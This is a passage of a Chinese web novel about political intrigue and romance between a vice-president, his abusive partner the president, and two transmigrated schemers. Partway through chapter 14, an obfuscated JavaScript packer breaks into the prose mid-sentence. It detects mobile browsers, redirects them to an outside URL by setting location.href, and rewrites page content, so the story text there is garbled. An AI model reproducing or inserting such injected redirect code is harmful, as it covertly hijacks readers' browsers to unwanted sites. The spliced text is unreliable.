浅粉色的眼眸骤缩,露出几分惶惶和困惑,诺尔曼开口:“怎么……” “你说怎么了!你又要诬陷乔治森吗?”里尔愤怒地朝他迈了一步,“乔治森早就和我坦白了,他用军工厂废弃的产线赚了点外快。怎么,作为国防部长,他夙兴夜寐衣不解带地工作,这点福利还不能有吗!” “还是看看你自己吧!多少人给我寄了投诉信,军部的那群老人都在明里暗里说我用人不公!你的那个破烂补给站,马上给我关停!”里尔的吼声几乎能把诺尔曼的耳膜震破。但他情愿变成聋子,也不想听见里尔这样质问自己。 “那你想用谁?”诺尔曼轻声回答,他的眼睛里也失去了早先的快乐,变得无悲无喜,“乔治森吗?” “对!我巴不得我用的是乔治森,”里尔猛地攥住他的衣领,像是拽着残破的布偶一般,咬牙切齿。 “哈哈……”诺尔曼被里尔拽得脖子歪向了一边,他低低地笑了起来,语调中尽是凄凉和暴风雨来临前的疯狂,“哈哈,然后干脆甩了我,和乔治森在一起?” “啪!”又是一巴掌,诺尔曼的头被打得偏向一边,白皙的脸庞很快肿了起来,显得狼狈无比。 “你真是疯了,诺尔曼。谁允许你这样侮辱我的感情!”里尔气喘吁吁地放下了手臂,恶狠狠地盯着他。两人一个撇过了头,一个恢复着情绪,一时间相对无言。 良久,里尔黑色的眼眸中流露出怜悯和悲伤的情绪,他再一次开口,像是神明在宽恕自己的信徒,又像是法官在给囚犯定罪:“诺尔曼,你对我的,那不叫爱。” 诺尔曼缓缓地抬头看向他,眼中是令里尔心惊和失望的一潭死水。 “那不叫爱,”他重复道,宣读着自己对诺尔曼的判决,“那是欲望。” “欲……望?”诺尔曼嘴角露出一抹惊心动魄的惨淡微笑,如同地狱里爬上来的恶鬼一般。他喃喃地重复着里尔的话语。 “没错,欲望。你只是想占有我,诺尔曼。你根本不明白舒适,健康的感情是怎样的。” 里尔最后深深地望了诺尔曼一眼,然后转头离去。 乌黑的眼睫颤了颤,他又一次弄不懂自己的感情了。也许就像里尔说的那样,是对方一直在迁就自己。 他目送着里尔和乔治森离开,但在对方关门前,却像是突然想起什么似的问道: “补给站可以暂时不关停吗?舆论可能会反噬……” 那扇大门在诺尔曼面前毫不留情地关上,传来咚地一声,如他的心脏狠狠沉入谷底。 “还是先管好你自己吧。” 13. 联邦线:诺尔曼被关禁闭 手指在光脑上翻飞,秦铮忙得头也不抬:“诺尔曼已经从叛乱小镇返回了,由于我们选用的装备都是联邦当前已有的,所以他没有发觉异样。” “当初安排系统造出的军工厂已经回收,只留下了小部分工厂作为掩护。对外的说法是叛乱镇压后,军工厂被提前销毁了。” 他听到应柏桥走到自己身边的脚步声,手头上的动作丝毫没停,但睫毛还是不禁一颤。最近应柏桥靠近他时,总让他感到有些紧张。 对方的手指从自己的肩膀上方伸向了光脑,点了点地图上小镇所在的位置,耳边传来了应柏桥带着笑意的话语:“很好,和我们料想的一样。那接下来……” 他微微俯身,一只手搭在了桌面上,离秦铮空着的那只手不到两厘米。 又是出于小动物的本能,长发青年头顶的呆毛都炸了起来,完全听不见应柏桥说了什么,只是看着两个人靠得极近的两只手,五指出于慌乱微微蜷缩,不知道该拿开还是继续放在那。 明明两个人在开着冷气的房间里,秦铮却能感到应柏桥的手指在源源不断地输送着热量,即使两个人的手指并没有贴在一起。 他强行将自己的注意力转移回光脑屏幕上,却始终有一缕思绪纠结着自己的左手要不要挪开。 突然,秦铮忽略的右手被整个握住,灼热的触感带着他将手指往屏幕下方挪了挪。秦铮猛地回神,震惊地望向热感的来源。 只见应柏桥看都不看他,将秦铮的右手从屏幕挪开后,便立刻放开了他。 随后,在秦铮呆愣又吃惊的眼神中,轻描淡写地解释了句:“屏幕挡住了,叫了你几声也没回应。” “再来看这处,根据铮铮你收集到的信息……” 小动物被吓得呆若木鸡,因而也没有注意到应柏桥在讲解时,嘴角不经意露出的那抹坏笑。 这下,进退两难的左手总算找准了定位,乖乖待在了原处。秦铮的耳根泛起了红,甚至于冷感的脸颊都因为懊恼而显得可爱了起来。 当然,这只是应柏桥视角的看法,秦铮的那张脸在旁人看来,只是变得比往常更冷更凶了些。 “那今天的计划是什么?”秦铮在应柏桥说完话的当口,面无表情,实则心脏砰砰乱跳地问了一句。 “嗯……去约会?” 不多时,两人就通过空间穿梭,在虫族化妆师的帮助下,重新变为了军二代公子哥和神秘军部高层。 “铮铮有什么喜欢做,但觉得太奢侈的爱好吗?”应柏桥站在酒店套房的化妆镜前,最后一次整理自己的金丝花边领结。 根据应柏桥的预估,诺尔曼的这一步棋,虽然能最大限度缓解里尔的政治危机,但里尔绝不会同意他长久地安置补给站。 然而,诺尔曼前脚已经在前几日的直播中公开宣布,补给站将会永久设立。突然反悔,恐怕民众的舆论……呵呵。 而应柏桥和秦铮今天要做的,就是给这场新的舆论火上浇油。 红光闪烁了两下,在离首都不远的郊区空地上,两架帝国研发的最新机甲正相对而立,蓄势待发。 秦铮在现实世界中就是“星际大战”这个机甲竞技类游戏的高玩,听到应柏桥说“感兴趣但奢侈”,立刻便想到了这个主意——来一场真正的线下机甲对决。 说做就做,军工厂再次启动,以最快的速度送来了两架最顶尖的机甲。秦铮的眼尾微微上挑,他一言不发地审视了一遍面前的机甲,眼里飞快地流淌过兴奋和满意的情绪。 联邦机甲的使用方式比较平民。考虑到大部分人类并没有觉醒精神力,因此,驾驶员在操作机甲时,并不刚需精神力作为辅助。精神力只是一种提升机甲性能的方式。 所以,应柏桥和秦铮这两个“外来人”也可以轻松驾驶机甲。 “待会手下留情。”应柏桥走到秦铮身边,打断了对方的思绪。 “嗯。”秦铮不着痕迹地避开了应柏桥几厘米,他一看到应柏桥,就会想起白天对方握住自己手时,内心突然升腾起的酥麻感,像是有一万只小手在心头轻轻挠过,让他有种莫名的冲动。 但这种冲动又与他冷感的性格相悖,因此让他颇为不自在地镇压了下去。 “在去医院检查之前,还是离应柏桥远点为好。”双腿向反方向迈了两步,但他的视线却本能地看向了应柏桥。 “他竟然也有示弱的时候?” 虽然秦铮并未意识到,白天应柏桥的行为是在“撩”他,但依旧出于直觉感到有些不爽。此刻他总算是找回了场子。 “嗯,我让你一只手好了。”下巴微抬,嘴角微微抿成一条直线,但仍然能看出他的愉悦和小小得意,“不会打伤你的。” 说罢,他走向自己的机甲,一个利落地翻身,坐进了驾驶舱。 可爱。修长的手指随意地翻过操作手册,应柏桥在脑海中回味着秦铮刚才那个带着挑衅的眼神,嘴角不自觉地勾起。铮铮的每一面都能让他感到惊喜。 不过,对面的操作可就不那么可爱了。只见秦铮先发制人,毫不留情地甩不过来一枚近程炮弹,直逼应柏桥机甲的能源核心处! “直接废掉机甲,不就不会打伤了。”秦铮早已将机甲操作手册牢记于心,轻点了几下按钮,便靠在座位上等待应柏桥的落败。 炮弹击中目标,炸开了一片黄土,瞬间挡住了秦铮的视线。 热感应扫描系统立刻启动,平静如水的目光凝在了屏幕上。秦铮虽然有把握击中目标,但也不排除应柏桥乱动导致受伤的可能。即使这枚炮弹是伤害最轻的一档,只会给机甲打下来一层皮,完全伤不到驾驶员。 然而,下一秒,一阵激光穿过黄沙,径直向他扫射而来! 耳畔的对讲耳机里传来应柏桥含着笑意的嗓音:“看来我也不是完全菜鸟啊,铮铮。” 应柏桥居然卡着点躲开了刚才那一炮!秦铮目光微凝,操纵机甲灵巧地避开这道射线,然后顺势发射了一炮回敬过去。 虽然应柏桥只学会了几招最基本的机甲驾驶技巧,但对付这炮还算游刃有余,侧身避开后直接起飞从空中往秦铮四周的黄沙快速射了几炮。 阻挡视线然后偷袭? “呵。”这段时间除了演戏时一直绷紧的嘴角,此刻总算松懈了下来,微微上扬。秦铮快速做出了判断,流露出孩子般幼稚的轻蔑表情。 机甲快速腾空,完全不给应柏桥机会,然后在看见对方机甲的那一刻,立刻伸出右翼的激光扫射。因为提前说好,让应柏桥一只手,所以左翼的武器没有使用。 对方的机甲勉强躲避了两下,便再无反击之力,好在秦铮自断一臂,因此勉强和对方玩起了“他逃他追”的戏码。在被秦铮穷追猛打一小时后,终于出现了纰漏,被一击命中,倒地不起。 “我输了。”擦得澄亮的军靴轻巧地落在地上,秦铮以胜利者的姿态,双手抱在胸前,接受应柏桥的双手投降。 对方保持着高举双手的姿势,走到他面前,像是心甘情愿受罚的手下败将:“你说吧,怎么罚?” “嗯……”秦铮歪着头,真的思索了起来。他抬头看向应柏桥,眼里藏着掩饰不住的愉悦。这是两人这么多天来,第一次如此长久的对视。 但是,玩爽了的秦铮没有丝毫不自在,他又和先前一样,主动靠近应柏桥: “罚你背完机甲操作手册的第一章?” “但凡背会了,也不至于只坚持住一小时。”小动物翘起了尾巴,即使知道应柏桥是新手,还是忍不住“欺负”一下对方。 “好啊——”应柏桥拖长了声音,从兜里掏出那本小册子,在秦铮面前晃了晃,“那秦老师,记得抽查我哦。” “那是自然。” “咔嚓!”在两人心知肚明的地方,几台摄像机诚实地拍下了两个败家子如何违规使用机甲切磋,又报废了一台机甲的场景。 这几位记者是应柏桥特意安排的。由于匿名向几家出版社报告了“军部长官私用机甲”的小道消息,这几个记者打二人出酒店起,便一直尾随。 现在,他们也在应柏桥的“操纵”下,如愿拍到了大瓜。 当天晚上,一则名为“三问军部贪污”的联合报道便登上了联邦星网热搜。 “很难想象,里尔总统治下的军部,居然还会有军官将人民的血汗钱换来的机甲当作调情的工具!” 报道用严肃且沉痛的语气在文章末尾写道:“就在十几天前,这两人也曾大摇大摆地走进联邦最豪华的酒店,用完全与他们收入不符的价格预定了最好的套房。关于这件事,联邦政府始终没有给我们一个交代,甚至连调查通知都没有下发!” “我们不禁发问:这样的政府真的值得国民付出全部的信任和真心吗?” “我去他大爷的!我难道不想抓到那两个杂种吗!” 纸质的报道被撕了个粉碎,纸片如雪花般在空中飘飞,又落在气得面色赤红,几乎能喷出血的里尔身上,让他显得格外狼狈和荒唐。 所谓的富二代和军部高层,他们也尝试查过,但根本确定不了这两人的信息。诚然,那个“军部高层”穿的确实是军部的装束,身上的徽章也做不得假,但就是查不到这两人! “干脆……给我把军部所有少将级别以上的军官都叫来问话!”手指胡乱掸落肩膀和发间的纸片碎屑,里尔胡乱发号施令。 “恐怕,有些不太合适……很多军官都在星际驻扎执勤,没办法及时赶回来。”乔治森胆战心惊地看着里尔发怒,生怕对方想起自己私用军工厂的事,借题发挥。 “要不……”他绞尽脑汁,想出了一个快速转移里尔注意力的主意,“暂时解除诺尔曼的禁闭让他来查?我记得他向来擅长这些旁门左道。” “那岂不是又给了他挪用公款的机会!”那只身经百战的拳头狠狠砸落在桌面上,结实的实木办公桌震了震,发出“嘎吱”的轻微声响。里尔一听到诺尔曼的名字,立刻又大发雷霆。 “但现在毕竟是危急关头,诺尔曼不能不用……”乔治森小心翼翼地看着里尔的脸色,心里又惊又喜。惊的是里尔竟然因为诺尔曼愤怒至此,喜的是里尔对诺尔曼的好感度似乎大幅下降。 因此,他还是昧着良心夸了两句情敌:“你想,当年你能成功夺回军部元帅的位置,多少要归功于诺尔曼的情报网。” “很可惜,这次我的情报网也不起作用。”虽然 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“你……你!”乔治森被他气得差点把后槽牙给咬碎,头脑风暴了半天才憋出来一句:“你就这个态度面对里尔交给你的任务?” 听到爱人的名字,那双平静如水的眸子总算起了些波澜,但就像乌云遮住阳光一般,很快又恢复了灰沉。 不知为何,上一次被打得那一巴掌,竟让他今日还隐隐介怀……明明以前都是一笑而过的。诺尔曼隐去内心一闪而过的微妙反感,看也不看乔治森:“那就让他亲自来找我。” “难道要我亲自去找他?”克兰德蹙着眉,浓密的眉峰隐隐有山雨欲来之势,吓得面前的联邦代表不敢吭声。 他半晌才哆哆嗦嗦地吐出一句:“非常抱歉阁下,但诺尔曼·罗斯副总统由于公务缠身,无法与您直接谈判,请允许我们更换联邦代表,我保证这位代表的地位不会比诺尔曼副总统要差……” “我只和你们的总统或者副总统谈。除了这两个人外,你们联邦还有人能配上我的地位吗?我代表的可是虫皇。”冰冷的金色眼眸扫过代表的头顶,对方感到后脑勺一阵发凉,一股死亡的预兆直逼他而来。 这迫使大臣立刻抬起了头,求生欲拉满地回答克兰德:“那、那请您让我回去再请示一下总统好吗?耽误的谈判时间,我们愿意用一定的武器条款让步来补偿……” 那双无机质的虫族复眼再次扫过大臣紧张的面孔,不多时,克兰德便赏赐般回答:“好,去吧。” “提醒你的主子,不要挑战我们虫族的耐性。必要的时候,”克兰德如同宣判末日的死神,一字一句地宣布,“我们也可以再次发动战争。” 然而,他前脚刚看着联邦大臣离去,准备返航,后脚光脑就响了起来。 来件人名称——假笑长毛怪。 雌虫的手指不禁再次捏住了可怜光脑的咽喉,在光脑快要报废的前一秒,不紧不慢地点入了消息界面,让这个上任不久的物件免于就职即解雇的噩运。 “克兰德元帅,由于近期本人出现了一些小状况,我不得不派遣下属与您进行第六次磋商。不过请放心,这位下属已被临时任命为代理副总统,并将于下个月正式成为星河联邦的第二位副总统。” “所以,请不要担心他会配不上您和您那位伴侣的地位^_^” 几乎是预判一般,诺尔曼说出了和克兰德一模一样的话。 雌虫的眼瞳骤缩!他放出了复眼和自己的触角,警惕地环顾这间会议室,再次确认这里并没有安装窃听器或者监控等设备。 确认无误后,雌虫又恢复了正常的状态,抬手在光脑上毫无波澜地输入了回复:“收到。” 远在联邦的诺尔曼第一时间收到了对方的回复,他盯着那个小小的句号看了很久,然后扑哧一声笑了出来。 这个死板又无趣的金毛恶犬,倒是和想象中一样一丝不苟,以及—— 意外地好说话。 诺尔曼将光脑收回了兜里,嘴角的笑意还未消逝。出于某种默契,他和克兰德都没有提及那条发错的语音,以及某人心虚撤回的行为。 他放下光脑,再次看向办公桌前的里尔照片,照片里的里尔嗔怒地看向镜头,但在掌镜的诺尔曼看来,却像是小猫在撒娇一般。 他的脑海中闪过曾经的快乐画面,以及那日里尔毫不留情的责骂。浅粉色的眸子又瞬间失去了神采,变得阴郁和低沉下来。里尔并没有来找他。 但他直觉,那两个见报的青年,可能会带来巨大的麻烦…… “年轻人,别再给我惹麻烦了!”首都的某一条小巷里,应柏桥和秦铮像恶霸一般将白发苍苍的当铺店主围困在角落。 老人颤颤巍巍地扶着背后的墙壁,声音却格外地坚定和愤怒:“我不会帮这个狗屁联邦政府!带着你们的钱滚蛋吧!” “老人家,您先别急。”应柏桥笑眯眯地做了个安抚的手势,然后拿出了一枚鲜红色的宝石吊坠,上面的罗斯家族纹饰格外明显。 “我只是想和您做个交易。”他不紧不慢地开口,语调轻柔,让老人紧张到急促的呼吸渐渐平稳了下来。 “我想,您一定很怀念故国的小皇帝吧——前罗斯帝国的国师,克莱蒙斯先生。” 14. 联邦线:恩师的恳求 听到罗斯帝国四个字,老人的呼吸又急促了起来,他就像被猫咪诱捕的可怜老鼠一样,目光顺着应柏桥手里的红宝石吊坠眼巴巴地移动。 但还是嘴硬:“那是谁?我只是个普通的开当铺的老人,没什么本事,也没有你们想要的东西。”他硬生生将自己的目光从那枚象征帝国昔日荣光的吊坠上挪开,眼里的光亮也一瞬即逝。 “那好吧,”那枚吊坠被收回了口袋,应柏桥惋惜地两手插兜,“我还以为,您会想知道诺尔曼·罗斯的近况,毕竟他最近才被关了紧闭。” “什么!”纵使克莱蒙斯曾是三朝元老,还是被激得惊叫出声。 “哪个畜生干的!”老人突然像发怒的老雄狮一般,不顾形象地冲上去试图拽住应柏桥的衣领狠狠质问—— 却被一只手轻而易举地拦下。 “现在是你有求于我们,”一双冷清的眼睛注视着克莱蒙斯,手上的力道却压得老人手腕生疼,秦铮冷淡地开口,“别太过分了。” “老人家,我能理解您心情激动,但请稍微冷静一下,让我跟您讲述事件原委好吗?”应柏桥走上前,将手轻轻搭在秦铮的肩膀安抚对方,温润的眼神挨个扫过秦铮和克莱蒙斯,让两人都冷静了些。 “希望您听完我的讲述后,可以帮我们一个忙,而这个,就是对您的回报。” 那串红宝石吊坠又出现在克莱蒙斯面前,他颤颤巍巍地伸出手去触碰,全然没有注意到,自己手上的钳制不知何时放松了。 这串吊坠是秦铮调取了众多信息和卖武器积累来的人脉,才从黑市拍卖场拿下的,前罗斯帝国皇帝的礼服上最耀眼的一件装饰。 趁着老人欣赏故人旧物的空当,秦铮瞄了应柏桥一眼,后者接收到他带着些怒意的视线,笑眯眯地捏了捏他的肩膀。 又是捏小动物一般的力道。秦铮莫名有种自己被看穿的恼火。他还没想明白自己对应柏桥时常产生的莫名情绪,并不想被他如此熟稔地糊弄过去。 于是,默默往旁边挪了挪,秦铮试图脱离应柏桥的“掌控”。至少保持个半米的距离才好。 然而,应柏桥只一句话就让他乖乖定住了。 对方睁着那双无辜下垂的眼眸,棕黑色的眼睛泛着金色的光泽,即使比秦铮稍微高了些,仍然让他产生一种“一拳就能打翻”的错觉。 两瓣薄唇微微抿起,而后又用气声开口:“铮铮离我那么远,不怕待会克莱蒙斯又暴起伤人吗?” “毕竟待会我要说的内容,肯定会让他更愤怒,甚至失去理智。”那双眼睛眨巴了两下,将选择权交给了秦铮。 秦铮哪还有选择,听到“伤人”二字便已经停下了脚步,再次走到应柏桥身边,甚至挡在了对方面前。 “我不会让他伤到你。”他眼神凛冽,紧紧盯着表面无害,只一味望着吊坠愣神的克莱蒙斯,全然忘了自己几秒前“保持距离”的决定。 自然,也没有注意到他身后的应柏桥,露出了“阴谋得逞”的微笑。 克莱蒙斯从回忆中醒过神来,转头望向那两人,只见一个唇边挂着不怀好意的笑,另一个一副“敢动手就杀了你”的表情,不禁愣住了。 “你们……这是什么意思?” “真是欺人太甚!畜生不如!”半个小时后,克莱蒙斯的小店里传出一声怒吼,老人虽然年岁已高,但嗓音依然中气十足。 他既是帝国的国师,也是诺尔曼曾经的老师,对这位年少登基的小皇帝寄予了深深的期望和怜爱,几乎当作自己的半个儿子来看。 即使后期诺尔曼由于政斗被流放到联邦,他依然挂念着诺尔曼,两人曾保持了一段时间的书信往来。 但对着诺尔曼逐渐将重心转移到里尔的事业上,两人的联络就越来越少了。克莱蒙斯以为,这是因为自家小皇帝正在忙于事业,谁知道原来是在给别人做嫁衣! 再次收到诺尔曼的消息,就是罗斯帝国彻底倒台那天,老人眼睁睁地看着自己最引以为傲的,充满野心的学生,半跪在地上,将皇冠捧给了那个他从未听过的愣头青! 克莱蒙斯不能接受诺尔曼近乎“叛国”的行为,也不能接受他几乎失去理智和思想地成为了他所谓的“爱人”的走狗,因此单方面与诺尔曼断绝了关系。 但讽刺的是,诺尔曼本人对此似乎并不在意。 自从爱上里尔后,他就像忘记了老师和曾经的亲友一般,在作者的笔下成为了一个只为里尔服务的“无脑工具人”。从此,他只为里尔悲,只为里尔喜,理想,国家,亲朋,都失去了意义。 可是,克莱蒙斯听到诺尔曼成为副总统后的待遇,仍然不能接受! “这群联邦的废物!怎么敢让罗斯帝国的皇帝给他们打工!又是压榨他的精神力,又是让他出面解决政治危机,那要这帮饭桶做什么!” “还有那个里尔,他之前写信来的时候,我就觉得这个人不靠谱!只能看到诺尔曼如何如何帮了他,他对诺尔曼的理想和事业似乎毫不关心……”老人愤愤地念叨起来。 “那这么说,您愿意帮我们了?让诺尔曼·罗斯重新找回本心。” “哼,我还没原谅那小子。我只是不想看着罗斯帝国曾经的荣耀被玷污罢了!”老人撇过脸,依旧嘴硬,但眼眶里不断转动的眼珠暴露了他的担心和忧虑。 “好好好,那您见到他之后务必狠狠骂他一顿。”应柏桥和秦铮对视了一眼,看来这步棋已经布好了。 深夜,联邦政府的副总统办公室迎来了三位不速之客。 晚饭时间,诺尔曼听见下属敲门的声响,放下了笔,走到门口去拿自己的盒饭。这些日子他一直待在办公室,饭菜都是由下属们送来。 倒不是里尔禁止他离开这里,只是他需要一段时间自己静一静。况且,他挪用公款的事传得纷纷扬扬,让他在军部本就不好的“总统疯狗”评价,雪上加霜。 然而,他关上门的那一霎那,立刻察觉到屋内异常的空气波动。 “唰——”精神力触手朝着波动的方向冲去,三下五除二便将几个不速之客绑了起来。 “嗯?”诺尔曼不禁扬眉,他本以为对面是虫族或者里尔的政敌派来的刺客,没想到连反抗都没有,任凭他捆住然后拖到了办公室的空地上。 “你们……”还没说完讯问的台词,诺尔曼的喉咙就像被卡住了一样,生生地止住了。 他的眼神变得深沉下来,盯着面前这位白发的老人:“克莱蒙斯?” 他脸上半永久的微笑微微僵住,原本想要抬起的手臂也垂在了身侧,手指不易察觉地弯曲了一下,难得地显出了一分细微的失态。 不过,这小小的变化并没有被捆在地上的老人察觉,他干枯的嘴唇颤抖着,即使在应柏桥和秦铮面前说了一堆的狠话,但真见到了曾经最引以为傲的学生,帝国最后的明星,他还是红了眼眶。 “好久不见了,克莱蒙斯。”诺尔曼显然也回忆起了曾经那段意气风发,和老师共商国是的绚烂时光,他的语气不由自主地柔和了一些。 “好久不见,陛下。”老人沙哑地回答,嗓音里是经历了帝国起起落落,物是人非后的沧桑和感慨。 “是我待客不周,”手指轻挥,诺尔曼松开了精神力触手。 但还没等三人站起,说明来意,副总统阁下就毫不客气地伸出精神力丝,又将应柏桥和秦铮绑在了办公桌的桌脚上。 “陛下,不,副总统阁下,他们是我的朋友,并没有恶意……”克莱蒙斯见状,赶忙站起,走上前一步,劝说诺尔曼。 但即使有些担忧应柏桥和秦铮,他依然端得前朝老臣的礼节,恭恭敬敬地站在诺尔曼面前,脊背微弯,不敢有半点造次。 下一秒,一双苍白的手便将他扶了起来,老臣有些激动地抬头与诺尔曼对视,却在看见对方那双浅粉色的眼睛时,愣住了。 诺尔曼的眼中虽然带着些许久别重逢的笑意,但更多的是冰冷和审视的意味,年少君王身上的那点人情味,在如今的联邦副总统身上几乎看不见分毫。 他就像是金属制造出的机器一般,一颦一笑都是由精密的仪器操控而成,仿佛这世间再无能打动他的事物。 “我知道你不会害我,克莱蒙斯,”那双薄唇虽然说出了安抚的话语,但诺尔曼的表情却像是在说他一点也不信任对方,“可是,我要对我自己和我同事的安全负责。” “尤其是,”他的眼睛犹如最精准的扫描仪,在应柏桥和秦铮身上无情地扫视了一遍,从身高,体态,到外貌,动作,“他们俩看上去很像是最近在联邦为非作歹的两个犯罪分子。” 戴着白手套的手掌轻轻拍过克莱蒙斯,诺尔曼从老人身边缓步走了过去,站在被捆住的两人面前。 他的声音并不低沉,却莫名让人感受到了无形的压力:“或许你们可以给我个解释,冒充军部官员,以及,擅闯副总统办公室。” “陛下!”克莱蒙斯试图上前阻拦,但诺尔曼只一个抬手的动作,就让他站回了原地,只是有些焦虑地看向自己的君主。 “叙旧的话,还是待会再说。现在是审问嫌犯的时间。”年轻的副总统轻点了两下地板,澄亮的鞋尖正正好落在了坐在地上的两人面前。 “呵,副总统阁下就这么没有教养吗?都不愿意听自己曾经的老师先说两句?”应柏桥毫不畏惧地与诺尔曼对视,他微微一笑,带着些许挑衅。 精神力丝毫不犹豫地收紧,有一截丝线甚至爬上了应柏桥的脖颈,缠绕了一圈。警告的意味昭然若揭。 和应柏桥背靠背的秦铮,立刻扭过头去查看对方的状况,只见应柏桥的脖子由于少许缺氧而微微暴起青筋。 “应柏桥!”秦铮失声喊了出来。他恶狠狠地瞪着诺尔曼,就像是看见了天敌的狼崽一般,牙齿被咬得喀喀作响,恨不得立刻暴起威胁对方松开精神力丝。 “很显然,克莱蒙斯还记得我曾经是他的君主。而且,即便在如今的制度下,我也是联邦的副总统,代表着政府的尊严和权威。”诺尔曼对秦铮宛如小狗发怒般的威慑视而不见,稍微松开了精神力丝,给应柏桥一个回话的空歇。 “不如,还是听他说两句吧,”应柏桥喘了两口气,恢复了一下呼吸的节奏,随后反手摸上了秦铮的手指,快速摩挲了两下表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171796|196838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示安抚,“相信我,副总统大人,我们之前能让你查不出任何信息,现在也可以在你的眼皮子底下逃走。” “之所以没走,只是希望你能和克莱蒙斯好好谈谈。”他将眼神递到了诺尔曼身侧的克莱蒙斯身上,对方已经差不多冷静了下来,接收到他的讯息,立刻比了个手势。 诺尔曼挑眉,侧身看向克莱蒙斯,对方已经迫不及待想要开口了。 目光又移到了应柏桥身上,随后再次扫视了一眼眼神诚恳的老人,诺尔曼这才纡尊降贵地回答:“好吧,那么克莱蒙斯,我的老师,你想要说什么?” 特意强调的这句“老师”,却让克莱蒙斯更紧张了些,他在心里苦笑了一声:即使如何怨怼诺尔曼不争气,见到他之后能想起的,却还是当年英姿勃发的那位君王。 他将头颅低了下去,摆出羔羊般引颈就戮的模样,然而话语却掷地有声:“请陛下重振罗斯帝国荣光!” 副总统阁下一怔,随后眼神幽深了下来,听克莱蒙斯接下来的话语。 “您可知道,自从里尔当选总统以来,我国的难民人数就在不断增长,街上甚至出现了以前从未有过的流浪汉群体!纵然,这与虫族的战争也有关系,但从指标上来看,当前的难民率已经超过了以往任何一次战争带来的数值,这说明里尔的政策本身就是有问题的!”老人像倒豆子一般把积压在心底的话都倾吐了出来。 “而且,这个数值还在不断上升。虽然官方新闻声称情况在不断变好,但这瞒不过我,”他直直地看向诺尔曼,“我们的情况一直在变糟,不管是对前帝国人民,还是联邦的民众而言。” “我不明白您作为副总统为何没有注意到这点,是因为被边缘化了吗?又或者,您已经被里尔迷惑了神智?”说到这个,老人又狠狠吐出一口浊气,眼神里充满了悲哀。 “陛下,里尔实非良人,我已经听那两位说了,您在他手下,简直被蹉跎得不似人形!您真是糊涂啊!”话口子一打开,克莱蒙斯立刻将积攒的不满一股脑说了出来。 “况且,即使是作为辅佐的对象,里尔·格里奇也是绝对不称职的!我不信您看不出,他的政策有多漏洞百出,如果不是您兜底,他怎么可能合并联邦和帝国,还成为了地球的第一掌权人!” 诺尔曼听到那句“我不信”时,眼睫下意识地颤动了一下,但很快又恢复了那副漫不经心的模样,甚至听到最后时,嘴角挂起了有几分森冷的笑意。 “这就是你们想让我听的?”他转过头看向应柏桥和秦铮,就像是一具冰冷的审判雕像,不带感情的眼珠让人脊背发凉,“让我听着我的爱人是如何被昔日老师侮辱,让我看到我的老师是如何被你们洗脑的?” “真有意思啊,哈哈哈……”诺尔曼似乎真心实意地感到好笑,但那笑声却让在场的三个人都鸦雀无声,就像是中了蛇女美杜莎的石化视线一般死寂。 终于,诺尔曼笑完了。一旁的克莱蒙斯以为对方已经恢复正常,想要再次开口。 “陛下……” “别喊我陛下了,克莱蒙斯。”诺尔曼的双眼如同无机质的玻璃一般,看得克莱蒙斯心里发寒,那点重逢时的喜悦和往日相处的温情,似乎真的在对方的几句话中荡然无存。 “看在过去的情分上,离这两个联邦的叛徒远点,我不会追究你对总统阁下不敬的事。” “对他不敬!你是说里尔那个废物……咳、咳咳。”老人目眦尽裂,他不敢想象这种话是诺尔曼说出的,但还没等他冲上前质问,就被诺尔曼的精神力触手狠狠锁住了咽喉。 “我说过,不要再对总统不敬。他是我的爱人,看在我的份上,也对他放尊重点。”诺尔曼顶着克莱蒙斯不敢置信的目光,用触手堵住了他的嘴,捆住手脚,和应柏桥秦铮扔到了一处。 指尖在光脑上轻点了几下:“我让下属带你出去,以后别再来了,我就当你的这些话没有说过。” “唔,唔唔!”克莱蒙斯奋力地挣扎着,期待着曾经视如己出的孩子,能够流露出哪怕一点犹豫或者不舍的情绪。 可惜并没有。诺尔曼看都没看他一眼,输入完指令后,就看向了应柏桥和秦铮两个人,他不紧不慢地开口: “按道理,我应该将你们送到联邦最高监狱,好好审问一番。但你们俩让我感到很危险,所以……” 死亡的精神力还未落下,只听见“砰”地一声,两个嫌犯和克莱蒙斯就一起消失在了诺尔曼的视线中。桌脚边空荡荡的,就像从未有人闯入。 “副总统阁下,请问发生了什么事!”下属看到简讯后立刻赶了过来,却发现男人站在办公室中央,眼神晦暗不明。但办公室内的陈设如常,没有任何异样。 “没事了,你出去吧。”诺尔曼转过身,坐回了办公桌前。 下属愣了一下,在心里嘀咕这个副总统怕不是紧闭久了,故意找他们这些牛马的茬。 但表面上,他还是顺从地应了一声,退出了办公室。只是抬起头的一瞬间,看到副总统桌上的文件时,脚下的动作一顿。 那桌上的文件,赫然写着“补给站”和“暂不关停”的字样。 15. 联邦线:工具人诺尔曼 “不关停补给站?你疯了还是我疯了!”厚厚的一叠公文,被毫不留情地扔在了诺尔曼脸上,但后者既没有退缩也没有愤怒,只是一脸平静地告诉里尔: “现在的舆论环境已经受到了影响,你和你的团队也暂时无法查出那两个败坏联邦名声的有心之人,不能再火上浇油。” “那虫族那边呢!”里尔劈头盖脸地冲诺尔曼吼道,“你知道那群虫子找我要了多少的星际管理权吗!还有他们的武器,我们落后了他们至少一代!” 总统办公室里,许久未见的一对夫夫,难得在政见上出现了分歧。这在以往是绝对不会发生的,毕竟诺尔曼只关心里尔的安全,其他的一律不在乎。 里尔在办公室里如同困兽一般来回地踱步,神情焦躁而又紧绷,这是他执政以来遇到的第一场政治危机。自从遇见诺尔曼之后,他的政治生涯就一直顺风顺水,该死的,怎么会这样! “虫族也被我们损伤了至少一半的兵力,他们短时间内不可能发动新的战争,你更应该关心的,是你的国民。上次民调显示,有至少十分之一的居民甚至还无法满足温饱。” 诺尔曼弯下腰,捡起地上的文件,将他们按照原有的顺序整理好,再次放在了里尔的桌上。 里尔的脚步却因为诺尔曼的话语而停了下来,他敏锐地从对方的语气中捕捉到了一丝以前从未有过的情绪,那种情绪让他感到危险和不适。 